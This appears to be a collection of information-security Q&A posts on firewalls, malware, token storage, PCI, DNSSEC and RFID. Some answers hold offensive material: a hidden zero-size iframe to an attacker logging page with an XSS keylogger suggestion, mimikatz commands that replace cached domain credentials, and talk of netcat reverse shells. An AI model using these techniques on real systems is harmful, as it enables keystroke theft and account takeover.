What you're really asking is which direction TCP connections can be opened as that's what needs to be put into stateful firewall rules. The goal of having a DMZ is to provide a buffer zone that will limit the spread of malware and prevent hacked systems from accessing internal systems, so allowing DMZ systems to connect to systems in the LAN is inherently risky. It's safer to allow LAN systems to open connections to DMZ systems as it's hard to spread malware or hack systems through connections opened to a system. That doesn't mean you can't ever allow the DMZ to connect to the LAN, sometimes it is unavoidable, but it should be as little as possible.


If device is infected, can new devices get malware from associated social media accounts? I have a couple social media accounts i want to use on a new phone ive got. The old phone i believe is infected with deep-malware. If I switch 2fa to my new phone which uses the same number but connected on a seperate network and change their passwords, could malware be transfered onto the new device? (Facebook, email, Discord, etc.)

If you download the social media apps on the new phone from authoritative sources, I'm not sure how malware from another device could infect your new phone.

2FA would not help, because you would be logging into your accounts, and if there was some way to transfer the malware automatically, then it would happen after you used 2FA. Same thing for "changing passwords".

Using the same network will also not matter. Social media apps do not transfer data on the local network: they connect to servers on the Internet.

In short: malware does not work like that.


Is there any chance of local PC getting infected when you analyse PCAP malware file on a cloud server through putty? Is there any chance of my local PC getting infected when I analyse PCAP malware file on a cloud server through putty? I want to run pcap malware to test snort in my cloud server. I want to know on doing so if it will affect my local machine.

Since you are doing it remotely, it is very unlikely to affect your local system unless you either expose your local system's services via tunneling or there is a previously unknown vulnerability in the software you are using (Putty). The malware would also need to be specifically designed for such a particular attack vector, which is also rather unlikely.


What security concerns exist in running a glassfish app directly on port 443 I have installed Apache http server in front of glassfish based on recommendations i had in this question.

I have been told that i will run into performance problems along with security issues. I was able to make Apache handle port 80 connections.
However i had some problems concerning https, see my Other question.

Now that my application itself directs to Https (using CONFIDENTIAL in web.xml) and not apache, is there a security issue if i make glassfish run its http-listener-2 on port 443 directly?

What is happening now is:

i type: www.adomain.com
since application runs on root context, url becomes: https://www.adomain.com:8181

so the flow is: www.adomain.com:80 --> Apache --> Glassfish root context app (app forces https)

i do not want to show the port 8181 in the url. I tried several methods (mod_rewrite, disabling port 80 so that only 443 runs,etc..) but nothing was working.

If i set http-listener-2 in glassfish to run on 443, port 8181 won't show in the URL.

I have no experience in server admin and it's beyond my expertise, but since this is a personal project i have to do the server tasks.

Excuse my maybe basic question but how unsecure is it to run directly on port 443 and why?

You need your Java app to work in e.g. context like http://www.example.com/something/ on port 80 on the local ip number e.g. 127.0.0.1 and apache listening on public ip 1.2.3.4 port 80 and forwarding the requests to the 127.0.0.1 and even without /something you should not have issues.

You can drop mod_security to apache to even further improve security.


How to safely store bearer tokens on server? Imagine you're running a service that implements an OAuth 2.0 flow to allow your end users to log into 3rd party apps, and authorize those apps to consume your service's data through some API.
Upon successfully authenticating a 3rd party app through your OAuth flow, your service sends the 3rd party app a bearer token that authenticates (and authorizes) the 3rd party app (on behalf of the end user) to use your service's API.

Such a bearer token needs to be stored on your servers, in order to perform authentication for incoming API calls. Since the bearer token authenticates (and authorizes) clients, you need to store it safely, like you would store a password.
However, while passwords are salted + hashed before saving them to disk, they are also looked up by their corresponding principal (username/email-address), rather than by the secure representation of the password.

In case of a bearer token, there is no principal to use for looking up matching credentials/tokens. Assuming you'd want to store bearer tokens like passwords (salted + hashed), you'd have to look up every possible salt, apply each one, then hash the salted token, and then check if it exists anywhere in your system. That doesn't scale.

So my question is: How can you safely store bearer tokens on your server? That is, without having to generate every possible secure representation of it whenever you need to verify a token.
By "safely store bearer tokens", I mean that an attacker who obtains the file of all "safely stored" bearer tokens won't be able to use them.

If requests from the third party to the OAuth provider have some other data that associates the request to the user, for example the user's name or id, the server could store the bearer token like a regular password with individual salts. However, if the third party requests don't have a piece of identifiable information, the server could store a salted+hashed version of the bearer token with a shared salt for all bearer tokens. Because OAuth tokens expire quickly a unique salt isn't nearly as important compared to a password which might never expire. If the token expires after 6-12 hours the attacker can't realistically crack the hash and use it to access a user account. The server could then periodically rotate the salt every week or so for additional security.


Should I block a user from using banking app if they fake the location? I was wondering if this could be a security issue for banking application and if so, why? What are the risks if I allow it?

Are you talking about faking location services in a browser or on a mobile device, or connecting through a VPN to appear to spoof IP-based geolocation?

Personally... if my bank asked for access to geolocation data from my phone for anything other than finding a branch or ATM, I probably wouldn't be using that bank. As for IP geolocation checks... I'd use that data to add weight to fraud detection.

If there are enough factors to suggest the request is not by the customer, then block as potential fraud. But current location alone probably shouldn't be enough, because people travel. Did they suddenly move from one country to another faster than one could travel by plane? Are they connected from two countries at once? Is the user-agent of the connection different than what the normally use?

Add up all these little things and set a threshold at which a block action will take place. If you want an example of how this would be structured, email anti-spam systems are a great example to look at. There's not one single factor to decide if email is spam... it's a system of different checks that work in concert with one-another.

If VPN services are a concern... add them as a factor in the system. But many people will be connecting to a VPN for banking if they are on public WiFi. I don't think that alone would be a legitimate reason to block a request. I'd probably set the system to adjust the weight of the factor based on whether the user normally uses a VPN or not.


can Veracode be taught to accept mitigations that it does not yet recognize Veracode (http://www.veracode.com/) has certain parameter encoding libraries that it trusts.  Others are labeled as flaws. If I'm satisfied with another method of parameter encoding that is meant to stop XSS, can I tell Veracode to stop listing uses of it as a flaw?  If so, how?

You can group all these instances and mark them as false positives. I would think Veracode provides an option to write a custom rule, so it ignores these instances when they occur.


Risk Control - Ignored risks and accepted risks Some say that ignored risks as part of an organization's behavior are much worse than accepted risks.

I would like to test that axiom (in the eyes of some).

When I am handling a risk and I choose to accept it, it means that I have done risk analysis and risk control, and have chosen to accept this risk and to live with it.
When I am doing the same thing, only this time I choose to ignore that risk, am I not doing the same thing? I am living with that risk as part of my operational plan as an organization.

Some would say that it is foolish to ignore risks. However I am seeing it this way - The only difference between an accepted risk and an ignored risk, is the mere fact that what I am accepting a risk, I am keeping myself and my organization self-aware to that risk. And if a risk is ignored, then I probably ignored it because it is a lightweight risk, the chance of it being leveraged is minimal, and the costs of the vulnerability associated with it being exploited is zero to none.

So, is the difference so big?

Despite the gigabytes written on risk management, I don't think there is a consistent, coherent terminology for risk management.  So the answer to your question is local; unless you define "ignore" differently from "accept" within your risk management program, there is no difference.

That said, I would suggest that if I were one of the decision makers, I would treat the two differently.  Even if I were to accept a risk, I would continue to monitor that risk, periodically re-assess that risk, and consider assigning risk triggers and risk metrics.  I'm accepting that risk today because of my evaluation of the risk likelihood and impact, the cost and efficacy of my potential responses, and my priorities.  Next month those factors may change.   In my mind "accepted" risks are still managed, but "ignored" risks are not.


Iframe javascript Keylogger Is it possible for a website to have a javascript keylogger and also contain an iframe that goes to a "client" site.

Can the the JS log all key strokes done on the client site?
Can the (host) iframe be invisible or 0 x 0 in size?
Can the "client" site detect and bust the iframe?

You can embed a .js file using a Stored XSS to perform the remote keylogging.
Using Ajax, it should be easy to do the remote logging. Have a look at the Javascript Keylogger here. http://code.google.com/p/javascript-keylogger

Setting the iframe width and height to zero answers the second question

<iframe src="attacker.com/log.php" width="0" height="0">

What you are asking in the 3rd question is frame busting. There are techniques to do that,
https://www.owasp.org/index.php/Clickjacking#Defending_with_Frame_Breaking_Scripts


Are GUID visible when compiling a .NET project? I know if a person has a GUID from a machine that person can figure out if other guid belongs to that machine.

In a .NET project (csproj and the visual studions solution file) GUIDs are generated. If i were to compile this project would the GUIDs be in my executable thus can a person tell if a programmer develop two different projects?

No. EDIT: Actually, possibly. See below.

The compiler really only cares about the source files. If you want a GUID to be in the assembly you need to code it in. Thats how for instance the COM interop stuff works -- you decorate the assembly in code with an attribute that contains the GUID.

However, if a GUID is hardcoded into the source for something like COM, and the GUID was generated on the same machine, using version 1, then you could potentially track down the machine it was coded on. See here: http://blogs.msdn.com/b/ericlippert/archive/2012/05/07/guid-guide-part-three.aspx

EDIT: It turns out I'm slightly wrong. Its an implementation detail in one of the compilers, but in the current release of the compiler a GUID is used to distinguish build versions, e.g. every time you hit F5, so all builds regardless of code-change are unique per computer.


Is there a way to use multiple firewalls / antivirus for penetration testing? I don't really know how to do either, but I was wondering if it was possible to have multiple firewalls / virus scanners installed at once, and use a 3rd party program to specify which one is running at a time. Example, if someone were penetration testing or something of that nature, one firewalls / scanner might pick up things that others do not, and vice versa.

I  think this would be a great idea, but I know that having multiple virus scanner at once can mess up a computer, and I would have no idea how to remove a service pack for an OS like Windows XP or Vista. Would this be possible at all, or would it just be easier to use a Virtual Machine? I just think it would be more practical to have a physical machine if you're at home messing around, but the virtual machine would look the same over the network if this is being done remotely. Any answers would be much appreciated!

It would be quite useless to install them at the same time because they will interfere with eachother. Most of the firewall and AV software have components you can't always shut off.

It is better to make a virtual machine you want to test on, clone this VM and then install other AV/firewall software on everyone of them. Then you can do different tests and see which one has a higher detection rate. I find this would be the most practical way as you can easily run multiple virtual machines on one physical machine.

By the way, if you want to check how different AV perform against each other, you can use https://www.virustotal.com/. You can upload a file and it will scan it with different AV's, after that it returns a list of AV that found something and which didn't.


Server pagination with key in response to fetch next page I want to introduce pagination in one of my server endpoints.

The endpoint will have an option to include in the parameter the last index of the previous page, and if included, the "page" returned will start from the first index bigger than the last index.

e.g, if the last item in the page returned is 222, the last index parameter will be 222, and the server will return items starting from 223.

The problem is that I also want to have caching on my queries (the pages should be static).

Currently, submitting the last index in plain is bad, as the user can modify the value and hence bypass the caching every time.

I want to return in the response of the page, a signed last index, which the user could add to the url to fetch the next page.

But I already have user authentication using JWT token, and I don't want to have another token in the url just for pagination.

Is there a better alternative to JWT to sign a small field so the server will be able to discard invalid values?

The server mentioned is Spring boot with Spring Security included.

I eventually found out that this is an overkill.
Instead I use Spring JPA PagingAndSortingRepository to manage my pages.


Replacing cached domain credentials in SECURITY hive Windows stores the (NTLM) hashes of local users' passwords in the SAM hive. By booting from a live system (for example), one can not only extract those hashes for offline cracking, but also simply replace the hash with that of a known password (for example, chntpw in Kali Linux is a tool that excels at this task). Similarly, one can turn a normal user into an admin user and enable/disable users. So far, so good.

In a similar, yet different fashion, the password hashes of domain accounts of users that have previously logged in on the computer are stored in the SECURITY hive so that a user can re-login even when they are off the network. Tools like cachedump can extract those hashes for offline cracking. However, due to the different hashing algorithm used, most (all?) tools that can replace hashes in SAM cannot do the same in SECURITY.

Now my question: Is it possible to replace the cached password hash of a domain user with that of a known password, in order to then reboot the system and log in with the known password (bonus points for answers specific to Windows 10, in case there are differences to previous versions)? This of course assumes that the device is off the network so Windows cannot check the password online with the Domain Controller.

Now my question: Is it possible to replace the cached password hash of a domain > user with that of a known password, in order to then reboot the system and log > in with the known password

Yes, this is possible with the latest version of mimikatz (available on the releases page of gentilkiwi/mimikatz github account).

However, I have found that in order to use this functionality on a system with multiple domain users you may actually have to specify two arguments (the username and the kiwi flag)

# lsadump::cache /user:<username> /kiwi

After running this command the cached domain credentials will be replaced with the default mimikatz password (which is "mimikatz")! If you prefer to set a password other than "mimikatz" use the command:

# lsadump::cache /user:<username> /password:<password-to-set> /kiwi


CIS hardening of alpine based docker container I've got a service running inside a docker container. I've built my own image based on nginx:stable-alpine docker image.

I am trying to ascertain whether the concept of CIS hardening applies to the container itself or just the host OS where the container is running. (I am not interested in the host itself as that is already CIS hardened by the hosting provider)

Had a couple of suggestions such as https://github.com/docker/docker-bench-security and https://github.com/dev-sec/cis-docker-benchmark but these again only seem to apply to the Host OS where docker is running. the nginx alpine image does for example contain some sample confs and html which should be removed according to CIS hardening rules.

Are there any scripts or tools i can run that can report on whether there are other aspects of the container that need to be hardened in the Dockerfile to ensure the container is CIS compliant? ideally i'd like to avoid having to prove every point in the CIS hardening spec manually. I have found this but its 3 years old script and i cant be confident that its maintained.

The CIS Docker benchmark primarily relates to the configuration of the Docker engine instance that you're running.  There are some checks relating to running containers however

The area of the benchmark you want for this is Section 4. Container Images and Build File. Most of the recommendations in there would apply to your case of building an image, 4.5 might not as that's more a engine level setting.

what I would say is that many of the recommendations in that area (things like only installing required packages) can't really be checked automatically (as what's required varies for case to case) so it's more of a case of reviewing the Dockerfile and built image manually, for that sort of thing.


Can I get a malware on Windows without administrative rights? I'm a Linux user and I installed Windows recently, I need it for some software. I don't want to use any anti-malware programs, I don't plan on giving administrative rights to applications I don't trust - just like in Linux. So, in theory, getting a malware shouldn't be possible, right?

So, my question is, can I get infected if I don't give admin privileges to untrusted programs? If so, how?

Yes. It can infect you nonetheless.

Using a non-administrative account only keeps malware from spreading to other users in the system, and it's a good practice regardless of everything else.

But aside from that, The malware can do everything your user is allowed to do, because it is a program like every other: it could create and modify files, open sockets, log your Keys, post malicious content on your social network profile, spam your contact list..

Then, there is privilege escalation: a bug in a piece of software, a misconfigured service, or any known or yet-to-be-known vulnerability in windows could elevate the malware privileges to administrative, just like it happens on unix systems.


The purpose of escaping html entities By security principles, we are often taught to sanitize input fields for characters such as & or ' so that they cannot be used for SQL injections etc.

However, now I have an issue: I really need to store a string input which would contain these characters. It is a business requirement. My code scanners would definitely flag this into a warning alert as this is classic SQL injection vulnerability if I do not sanitize the input. My database would then store the string &amp instead of & (just an example). But this is not what we wanted. We really wanted the literal & or ' stored in database.

What are the good ways to go about doing this?

Any decent static analysis scanner would not flag up a vulnerability if you were storing raw HTML in your database - after all, it's only a string.

String sequences only become dangerous when passed through a "sink function".

For example, <script> is completely safe to store in your database. In fact so is
Robert'); DROP TABLE Students;--.

The latter is only dangerous when it is passed from a string variable and concatenated to a hard coded query in the application because the whole string is passed to the database server and it does not know the difference between the query and the data. This is why you should use parameterised queries to pass data to your database - then the DB itself knows what to interpret as strongly typed data, and what to interpret as the query construct itself.

When outputting to the browser, this is where you need to encode as appropriate. Usually you will be outputting to HTML, so you need to HTML encode (& becomes &amp; as you say). If you're outputting to JSON or JavaScript (don't though it's a minefield) then you should output the text with hex entity encoding instead (\x38).


mod_nss vs openssl behavior vis-a-vis key storage vs use Maybe I'm just asking for the correct search terms.
mod_nss and the NSS information/design idea is that if the key storage device (in this case, an HSM) is capable of performing a DH/SSL handshake, then the device will be used (the key is not extracted from the HSM, and then used on the host for the handshake, rather it is left on the HSM, and the HSM is used to perform the handshake).  The idea is that if you are paranoid (or regulated) enough that you need to use an HSM, you won't want your keys extracted into the host, as that exposes them to compromise.
HSM managed handshake too slow
The issue is the duration of the handshake.  Even without a PCIe, direct-attached HSM, the length of time needed for a single TLS handshake is measurable.  If you are suddenly trying to use an HSM for the handshakes, you are limited by the PCIe bottleneck and all the overheads involved -- HSMs are generally built for security, not for high-performance.
The HSM becomes a bottleneck for services that support "enough" connections/second, "enough" being defined as "sufficient to swamp the HSM".
To trade off between the security of the HSM and the performance of host-based TLS hand-shakes (which can benefit from multiple cores, etc), we need to store the key on the HSM, but use the key on the host.
NSS' worldview prevents this.
Question: Can I extract the private key?
Can OpenSSL or other crypto suite, which can be connected to an HSM, extract the key from the HSM, and cache it for use on the host?
Plan B
Plan B is to to get the (OpenSSL) OpenSC+OpenP11 engine or NSS source code, and hack it to extract and cache the private key on first request, and then just call back into openssl to do the actual TLS handshake rather than go out to the HSM for every new connection, allowing us to take advantage of the current (working) environment for https and ssh connections, while providing for security around the stored keys.  But I'd rather take advantage of existing code.
Search engines just take me to the same pages, some relevant (the NSS design philosophy for example), some not.  If you know of a good set of search terms that brings me to a page you know about :) that would be most help.
Thank you for your time.

When using an HSM with TLS all cryptographic operations involving the private key are executed on the HSM. This means the private key never leaves the HSM. In fact, the HSM is specifically designed to protect exfiltration of the private key using software based attacks and sometimes even hardware based attacks (i.e. tamper resistant). This exactly is the reason a HSM is used at all.

This means that an HSM would not be worth its money if it would be possible to extract the private key using OpenSSL or other tools or even by using specifically designed hacking tools. Thus the answer to your question for all existing HSM is hopefully: No, it is not possible to extract the private key using software.

Which means: if you need both more performance and the security of an HSM for every TLS connection then get a faster HSM.


Hosting statistic tool on heroku with flask secure? I am working on a statistic tool for our company, millions of datasets. Now I need to upload the project, so all company members can request data from everywhere.

I am working with Python 3/Flask and I plan to upload the project on heroku.

Heroku offers by default an SSL certificate (I do not plan to use a custom domain).

In addition I integrated Flask-BasicAuth. It works on localhost fine, one can only access the website if the username and password are known.

I also use Flask-WTF and a CRSF token on the form. After the from submits, which is a must, I request different statistics via AJAX.

User enters a daterange
User submits form and the basic dataset is selected
Different statistics are requested via AJAX POST

Step 3. means I have a lot of routes, which only accept a POST method and return a JSON object.

This tool MUST be only accessible by company members, because important data can be requested and seen. Does my approach sound reasonable?

HTTP basic auth is prone to be bruteforced. Flask-HTTPAuth with digest mode could be a better solution, but there are also several security concerns to be resolved, as well as additional password and lockout policies.

Another approach colud be integration with trusted Oauth provider like Google. This way you just shift authentication-related responsibilities to 3rd party that you can trust, and it could be much easier yet reliable.


What portion of recursive (ISP, public, etc.) nameservers validate DNSSEC strictly? I'm adopting/setting up DNSSEC on my domains for the first time, and curious about the practical benefits I can expect. In theory, regardless of whether client/stub resolvers want checking, recursive nameservers can request signature chains, and, for any domain where the higher-level delegating one indicates that there's supposed to be a signature, treat the absence of a valid signature as a hard lookup error to return to the client, thereby protecting domain owners against forged records. What portion of ISP and public (Google, Cloudflare, etc.) recursive nameservers currently do this? Is it common or uncommon?

I want to mainly focus on the second part of your question, namely the deployment state of DNSSEC. But before getting into that, I thought it would be interesting to note, that beside the obvious advantage, i.e. mitigating DNS poisoning, there are other less known threats when you don't use DNSSEC. A recent paper from 2019 [1], for example, shows how DNS poisoning can grant you a DV certificate, practically allowing an attacker to spoof your domain and provide TLS at the same time, giving the impression of being legitimate!

Now for the second part: people have done measurements of DNSSEC deployment (NS side) and validation (client side) in different settings. A paper from 2013 [2] did this for the client side and came to the following conclusion:

  After data cleaning, we gathered 131,320 results from 98,179 distinct IP addresses, out of which 4.8% had validation enabled. The ratio varies significantly per country, with Sweden, the Czech Republic and the United States having the largest ratios of validating clients in the field.

Another one from 2017 [3] measured the support both on name servers and resolvers:

  We use this methodology to measure a total of 403,355 exit nodes—from 177 countries and 8,842 ASes—over a period of 13 days in early 2017. These exit nodes use a total of 59,513 unique resolvers. We observe that 49,424 of the resolvers (83.0% of resolvers, covering 65.9% of the exit nodes) send requests with the DO bit set, suggesting that a majority of resolvers support DNSSEC.

I suggest to read these papers as the excerpts copied here does not cover the whole picture. Finally, you can also checkout SecSpider to have an overview of up-to-date state of DNSSEC deployment or to use DNSViz to have a visualization of DNSSEC for a host name. If you want to force DNSSEC on your client side, I'd suggest DNSSEC Trigger from NLnet Labs.

Personally, I think the slow penetration of DNSSEC has also to do with lack of visual cues for end-users. In contrast to the green padlock which indicates authentication secure channel, there is no indication for authenticated DNS results.

[1] Schwittmann, L., Wander, M., & Weis, T. (2019). Domain impersonation is feasible: A study of CA domain validation vulnerabilities. Proceedings - 4th IEEE European Symposium on Security and Privacy, EURO S and P 2019, 544–559. https://doi.org/10.1109/EuroSP.2019.00046

[2] Wander, M., & Weis, T. (2013). Measuring Occurrence of DNSSEC Validation. In M. Roughan & R. Chang (Eds.), Passive and Active Measurement (pp. 125–134). Springer Berlin Heidelberg. https://doi.org/10.1007/978-3-642-36516-4_13

[3] Chung, T., Van Rijswijk-Deij, R., Chandrasekaran, B., Choffnes, D., Levin, D., Maggs, B. M., Mislove, A., & Wilson, C. (2017). A longitudinal, end-to-end view of the DNSSEC ecosystem. Proceedings of the 26th USENIX Security Symposium, 1307–1322.


Can an iPhone be hacked during a phone call? If I called someone can they hack into my iPhone just by being on the phone with me and knowing my phone number? I was also transferred to another person during the phone call, if that would make a difference. Or could they see my WiFi password that's on my phone etc?

While not theoretically impossible, this is highly unlikely.

For this to happend there would need to be a vulnerability in iOS that could be leveraged for  this. While there are vulnerabilities in iOS (and in any software), unless I have missed something there is nothing that could be used for an attack just through a phone call.

That does not rule out that there is an unknown vulnerability, a so called zero-day, that makes this possible. By definition we would not know about that. However, I would say that such a vulnerability is quite unlikely, and if one was discovered it would be considered a big deal and be all over the tech news. Apple would be embarassed and forced to quickly publish a patch to fix it.

If such a vulnerability were found, it would probably be used primarily against high value targets (threats to national security, government officials, celebrities) and not against random people. Such a golden egg is valuable, and you would not want to risk it being discovered (and patched) just to hack low value targets.

As an example of a similar vulnerability I should mention Stagefright. By leveraging a bug in a video library it was possible to hack Android phones just by sending an MMS with a malicious video file. The phone would get infected as soon as the MMS was opened.

But to conclude, this is not something I would spend time worrying about when I recieve phone calls.


What are good methods of visual security? What are good methods of visually securing sensitive information that might appear on your screen from the outside world?

An example to illustrate my question would be the following:

  You're sat in a coffee shop using WiFi to do some work. You want to be able to work without others potentially seeing or stealing information that may present on the screen or typed into the keyboard.

Given this scenario, what steps would you take to minimize as much as possible the likelihood of exposing or compromising your personal data from a visual perspective?

This kind of attack is called shoulder surfing and it is a real problem. Hardly a day goes by where I do not see someone putting themselves at risk of this either on the train, a cafe or in various other public places. There are a number of countermeasures, most of which are as simple and basic as the attack itself.

Situational awareness

Beware of your surroundings, ensure that there are no cameras that can see your screen and keyboard inputs.
Ensure there are no reflective surfaces such as mirrors, windows or polished walls and tables that may reflect your screen or keyboard inputs.
Be aware of people around you. Can they see your screen? Do they have phones that can see your screen or keyboard inputs? (I’m often on the train with my mobile phone in my hand, I could easily record people on their laptops and play it back later to see what information I could obtain.)

Personal Security

Ensure you are not in a position where there is a high risk that someone may physically remove your device from you.
Beware that people are working in teams. I.e one person distracts you while the other steals from you or captures the contents of your screen with a camera.
Do not wear work badges or any other work branded apparel that reveals the organisation your work for.
Use privacy screens  or a privacy enhanced display.

Inventive Solutions (No guarantee of practicality or feasible current technology.)

You could use a VR headset as S.L. Barth mentioned in the comments. This would increase the risk to personal safety, however as it will obstruct your vision.
You could use Augmented Reality headsets that will allow you to maintain vision, albeit this may be slightly obstructed. There is also a risk that an attacker could see what is being displayed on the AR headset.
You could use a special colour pallet on your screen which obfuscates what is being displayed unless viewed through glasses with a certain tint. (Something like this.)
You could use a blanket or a jacket to cover your screen when you are accessing anything sensitive. (See Edward Snowden.)
Or how about an invisibility cloak?*

*Currently only theoretical


What damage can a MITM do to encrypted traffic, and what can be done about it? Assume a server and a client that are each on physically secure, uncompromised networks. However, between each network is an attacker that is capable of viewing traffic. For example, two department networks that are linked to a larger corporate network whose router is compromised, or two remote devices where an intervening IXP has been compromised by a state-level adversary.

The adversary is specifically targeting these two devices.

The traffic between the two devices is encrypted with 256-bit AES using a key shared by a physical side channel (thumb drive). The two device's firewalls are set to drop all traffic not from each other's IP address.

What havoc can that attacker wreak? From what I can see, they could redirect traffic so that it does not reach its intended target, or they could spoof one device's IP address in order to effect a DOS attack against the other device. Am I missing anything?

Assuming the encryption is properly implemented and the key isn't compromised, all an MITM attacker can achieve by changing the data is turning it into unpredictable garbage. When A and B do any form of plausibility checking on the data, they should notice that.

So what can the attacker do?

Suppress the communication completely by simply filtering it all
Turn the communication into nonsense by making some random changes (countermeasure: Add a hash to each message to detect and discard damaged messages)
Insert even more nonsense into the communication hoping to deplete resources (DOS attack)
Re-send previously observed message ("replay attack"). Even if they couldn't understand a message, if they observed that sending a specific message caused something to happen, sending the exact same message again might cause the same thing to happen again (countermeasure: Add a timestamp to each message and discard messages which are too old. The timestamp should be included in calculating the hash).
Create a copy of the cyphertext in case they somehow manage to obtain the encryption key in the future.


PCI compliance simple questions For now I read PCI compliance document and I don't understand any things.

I have a program, which takes sensitive and cardholder data as input (some of them are in encrypted form) and then returned back (some of them are in encrypted form).

I have 2 simple questions:

What elements need to be encrypted as input and output? For now - how I understand it - only PIN, PAN, track2data and CVV code need to be encrypted.
What elements need to be masked and how should I do it? For now I was saving in the log files only the last 4 digits of the PAN (for example - ***1234), CVV code is completely masked (for example - **), track2data is completely masked and and PIN is completely masked.

Hi @VladislavLysov Welcome.

I am afraid you will need to a bit more specific; there seems to be a slight difference between storing and transmitting details. Some data should never be stored, even in the encrypted form, such as item 3.2.3, which says: "Do not store the personal identification number (PIN) or the encrypted PIN block."

Going back a step, Requirement 3: Protect stored cardholder data

3.1 - Keep cardholder data storage to a minimum by implementing data retention and disposal policies, procedures and processes, as follows.

3.2 - Do not store snsitive authentication data after authorization (even if encrypted).

Sensitive data in this context are:

Card Verification Value
PIN or the encrypted PIN Block
The full contents of the Magnetic Stripe

Regarding the Magnetic Stripe, PCI itself says that in "the normal course of business, the following data elements from the magnetic stripe may need to be retained:

Cardholder Name
Primary Account Number (PAN)
Expiration Date
Service Code"

Finally,
 3.3 - Mask PAN when displayed (the first six and last four digits are the maximum number of digits to be displayed).

So to sum up and (hopefully) answer your questions, 1) In my view, the whole communication should be done in an encrypted manner 2) none of the items of the three bullet points should ever be stored, neither encrypted, nor masked. What you mentioned about masking concerns the storage of the PANs, which should not be visible to anyone else apart from the very few users who have the right to see it in order to carry on their jobs. In cases where the PAN is displayed, say, to the user, then that's when you need to mask it as not to show the whole number. CVVs, PINs should never be stored anywhere, including the logs you mentioned. You may store (for not longer than necessary) some of the magnetic stripe contents, and that should be encrypted. You may also store PANs, but again they need to be masked out in the general logs and when presenting it to users.


What is the benefit of an SSH tunnel vs a Netcat shell for remote communication? On the (few) penetration tests that I've done so far, I've typically created a reverse shell with Netcat to run commands on the target machine. Now, it looks like a lot of people like to use an SSH client to do this. I've been researching for more information and found that if anything, it looks like Netcat would be better to use. This is due to a lot of networks either not having SSH installed for security reasons, or firewalls preventing SSH communication.

So, what I'm wondering is when is it appropriate to use a reverse shell with Netcat vs an SSH client? What are the pro's and con's of each?
Thank you.

The main difference is that the "SSH tunnel" is encrypted from client to server. The netcat is just unencrypted connection of what you write and read from it (or higher-level protocol).

If you do this in your trusted environment, netcat should be enough. Also it should be enough if the higher-level protocol has some kind of encryption. Otherwise there is SSH tunnel (aka TCP Forwarding) to keep your communiques secret.

And some people are more familiar with ssh commands so they rather use SSH, then to learn netcat syntax.


Is this RFID blocking wallet actually secure? This question is based on a quick experiment that I ran when questioning the effectiveness of my RFID blocking wallet (this one). In my experiment, I walked out of my office, placed my RFID id card in the wallet, and attempted to use the wallet containing the card to open the office door. To my surprise, the door opened with no issue!

My question is this: does the opening of the door indicate that this RFID blocking wallet is not actually doing it's job? I physically tap the wallet against the reader in order to open the door, so does the wallet just reduce the effective range at which the card can be read? Without the wallet, the card also needs close proximity (within a few cm) to the reader to open the door.

Edit: reading this question's accepted answer, it is mentioned that RFID frequency can vary- would it be reasonable to assume that the difference in operating frequency between a credit card and ID badge would be large enough to cause a credit card but not ID badge to be obfuscated by the wallet?

Edit #2: I went back to try some more controlled experiments based on the answer by @Herringbone Cat and comments from @AdamShostack below. Varying the orientation of the card does not appear to make any change. HOWEVER, I tested for distance at which the card could open the door, and found it effectively halved by the use of the wallet.

In terms of frequency vs. power, I would not expect power to be the issue here, as this is a passive card (should have specified earlier). I would expect a malicious RFID reader to be of arbitrary power, and therefor comparable to the door reader at a minimum. Investigating further, I suspect that my ID card is this brand, which has an operating frequency of 13.56MHz. This is the operating frequency for credit cards as well.

That said, halving the range a reader must be to the card may be an effective deterrent for RFID card theft.

It appears as though this RFID blocking wallet is simply not forming a strong enough faraday cage, and sufficient amount of RF power is able to simply go through the "RFID blocking" wallet; or it's not a complete seal and it simply goes around.   This means the product was likely poorly made, and at the least, clearly defective.

RFID Obeys Inverse Square Law

Radio waves, like all other forms of electromagnetic energy, obey inverse square law.  So, holding it closer does exponentially increase the ability to send/receive radio from the transmitter to card.  In this case, holding it closer allows it to be read in the wallet....meaning the wallet is somewhat blocking the waves, but not enough.

Frequency vs. Power

It's not necessarily just the operating frequency of the RFID card that matters here, but the amount of power that the receiver/transmitter is using.  If it's a passive tag, then only the receiver is powered -- meaning the RFID blocking wallet would be more effective.  Active tags have a battery and their own transmitter, and depending on the freshness of that battery and the electronics within can make a much stronger signal than other RFID cards.

Most RFID cards these days are HF/UHF, with LF being seldom used. UHF/HF RFID cards will work at a much greater range =than the lower frequency cards.  However, credit cards are typically passive while door tags active..which probably explains the experience here moreso than the frequency difference.

High-powered RFID receivers (like those used for hacking) can scan RFID cards remotely at distances of up to 10 meters.

Going around the shielding

In the case of poorly designed RFID "blocking" wallets, there is often room for the omnidirectional radio waves to essentially seep out of the wallet through a fold.  This is because it's not 100% sealed, and as such not a true Faraday cage.  By contrast, an Altoids tin container can typically block 100% of attempts at reading RFID cards held inside...if it's kept shut, once the lid is open or even ajar the card can be read.

Thus, in order to defeat RFID-reading based hacks, you'll need an RFID-blocking wallet that forms a strong enough Faraday cage (thick enough to attenuate RFID HF) and has sufficient insulation and sealing to prevent being read by high-powered readers.


Is a Windows (fresh installation) 7 really this safe against NMAP or am I missing something? I am playing with NMAP in my small private network performing port scanning.

So far I went through scanning the following OSs (Unaltered new installations - Meaning no extra software installed!):

Ubuntu 14.04
Windows 2012
Windows 2008 R2
Windows 7

Expect for W7, all other OSs returned ports opened.
Is W7 this safe in its original version or am I missing any parameter in my NMAP command?

root@ubuntu-14:/# nmap 192.168.0.10 -sS -vv

Starting Nmap 6.40 ( http://nmap.org ) at 2015-11-22 09:26 CET
Initiating ARP Ping Scan at 09:26
Scanning 192.168.0.10 [1 port]
Completed ARP Ping Scan at 09:26, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:26
Completed Parallel DNS resolution of 1 host. at 09:26, 0.03s elapsed
Initiating SYN Stealth Scan at 09:26
Scanning 192.168.0.10 [1000 ports]
Completed SYN Stealth Scan at 09:27, 27.95s elapsed (1000 total ports)
Nmap scan report for 192.168.0.10
Host is up (0.00045s latency).
All 1000 scanned ports on 192.168.0.10 are filtered
MAC Address: 08:00:27:82:37:2A (Cadmus Computer Systems)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 28.24 seconds
           Raw packets sent: 2001 (88.028KB) | Rcvd: 1 (28B)

The phrase "safe against NMAP" does not make any sense. An NMAP scan is not an attack.

